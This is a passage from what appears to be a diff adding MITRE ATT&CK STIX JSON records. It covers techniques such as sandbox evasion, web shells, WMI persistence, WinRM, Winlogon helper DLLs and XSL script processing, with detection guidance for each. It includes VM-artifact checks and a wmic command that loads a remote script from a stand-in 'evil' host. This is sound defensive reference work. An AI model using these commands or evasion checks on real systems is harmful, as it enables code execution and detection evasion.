Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)\n\n###Virtual Machine Environment Artifacts Discovery###\n\nAdversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function. \n\nExample VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017)\n\n* HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions\n* HKLM\\HARDWARE\\Description\\System\\\u201dSystemBiosVersion\u201d;\u201dVMWARE\u201d\n* HKLM\\HARDWARE\\ACPI\\DSDT\\BOX_\n\nExample VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017)\n\n* WINDOWS\\system32\\drivers\\vmmouse.sys \n* WINDOWS\\system32\\vboxhook.dll\n* Windows\\system32\\vboxdisp.dll\n\nCommon checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)\n\n###User Activity Discovery###\n\nAdversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it\u2019s a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).\n\n###Virtual Hardware Fingerprinting Discovery###\n\nAdversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query $q = \u201cSelect * from Win32_Fan\u201d Get-WmiObject -Query $q. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1102", + "source_name": "mitre-attack", + "external_id": "T1102" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "x_mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "x_mitre_network_requirements": true, + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Binary Analysis", + "Log analysis", + "Firewall" + ], + "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "name": "Web Service", + "created": "2017-05-31T21:31:13.915Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1100", + "source_name": "mitre-attack", + "external_id": "T1100" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015." + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A", + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." + ], + "x_mitre_data_sources": [ + "Anti-virus", + "Authentication logs", + "File monitoring", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "name": "Web Shell", + "created": "2017-05-31T21:31:13.061Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", + "x_mitre_effective_permissions": [ + "SYSTEM", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1077", + "source_name": "mitre-attack", + "external_id": "T1077" + }, + { + "url": "https://capec.mitre.org/data/definitions/561.html", + "source_name": "capec", + "external_id": "CAPEC-561" + }, + { + "url": "http://support.microsoft.com/kb/314984", + "source_name": "Microsoft Admin Shares", + "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014." + }, + { + "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", + "source_name": "Lateral Movement Payne", + "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016." + }, + { + "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx", + "source_name": "Windows Event Forwarding Payne", + "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016." + }, + { + "url": "https://en.wikipedia.org/wiki/Server_Message_Block", + "source_name": "Wikipedia SMB", + "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016." + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016." + }, + { + "url": "https://technet.microsoft.com/bb490717.aspx", + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016." + } + ], + "x_mitre_data_sources": [ + "Process use of network", + "Authentication logs", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account." + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "name": "Windows Admin Shares", + "created": "2017-05-31T21:31:00.200Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1047", + "source_name": "mitre-attack", + "external_id": "T1047" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx", + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016." + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016." + }, + { + "url": "https://en.wikipedia.org/wiki/Server_Message_Block", + "source_name": "Wikipedia SMB", + "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016." + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016." + } + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication." + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "name": "Windows Management Instrumentation", + "created": "2017-05-31T21:30:44.329Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1084", + "source_name": "mitre-attack", + "external_id": "T1084" + }, + { + "url": "https://www.secureworks.com/blog/wmi-persistence", + "source_name": "Dell WMI Persistence", + "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016." + }, + { + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf", + "source_name": "Kazanciyan 2014", + "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014." + }, + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", + "source_name": "Mandiant M-Trends 2015", + "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + } + ], + "x_mitre_data_sources": [ + "WMI Objects" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "name": "Windows Management Instrumentation Event Subscription", + "created": "2017-05-31T21:31:05.140Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1028", + "source_name": "mitre-attack", + "external_id": "T1028" + }, + { + "url": "http://msdn.microsoft.com/en-us/library/aa384426", + "source_name": "Microsoft WinRM", + "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014." + }, + { + "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2", + "source_name": "Jacobsen 2014", + "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "WinRM listener turned on and configured on remote system" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "name": "Windows Remote Management", + "created": "2017-05-31T21:30:33.723Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1004", + "source_name": "mitre-attack", + "external_id": "T1004" + }, + { + "url": "https://capec.mitre.org/data/definitions/579.html", + "source_name": "capec", + "external_id": "CAPEC-579" + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "name": "Winlogon Helper DLL", + "created": "2017-05-31T21:30:20.148Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1220", + "source_name": "mitre-attack", + "external_id": "T1220" + }, + { + "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", + "source_name": "Microsoft XSLT Script Mar 2017", + "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018." + }, + { + "url": "https://www.microsoft.com/download/details.aspx?id=21714", + "source_name": "Microsoft msxsl.exe", + "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018." + }, + { + "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/", + "source_name": "Penetration Testing Lab MSXSL July 2017", + "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018." + }, + { + "url": "https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "source_name": "subTee WMIC XSL APR 2018", + "description": "Smith, C. (2018, April 17). WMIC.EXE Whitelisting Bypass - Hacking with Style, Stylesheets. Retrieved July 3, 2018." + }, + { + "url": "https://twitter.com/dez_/status/986614411711442944", + "source_name": "Twitter SquiblyTwo Detection APR 2018", + "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018." + }, + { + "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/", + "source_name": "Reaqta MSXSL Spearphishing MAR 2018", + "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Casey Smith", + "Praetorian" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Process use of network", + "DLL monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: subTee WMIC XSL APR 2018) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application whitelisting", + "Digital Certificate Validation" + ], + "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018)\n\nCommand-line example: (Citation: Penetration Testing Lab MSXSL July 2017)\n\n* msxsl.exe customers[.]xml script[.]xsl\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool.\n\nCommand-line examples: (Citation: subTee WMIC XSL APR 2018)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", + "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "name": "XSL Script Processing", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_system_requirements": [ + "Microsoft Core XML Services (MSXML) or access to wmic.exe" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:13:23.722Z", + "type": "relationship", + "id": "relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:01:20.637Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Flash Player (CVE-2016-4117, CVE-2018-4878) and Word (CVE-2017-0199) exploits for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--857b5ce3-0eb0-4dae-a034-42cfa306a447", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.775Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) created a custom video recording capability that could be used to monitor operations in the victim's environment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 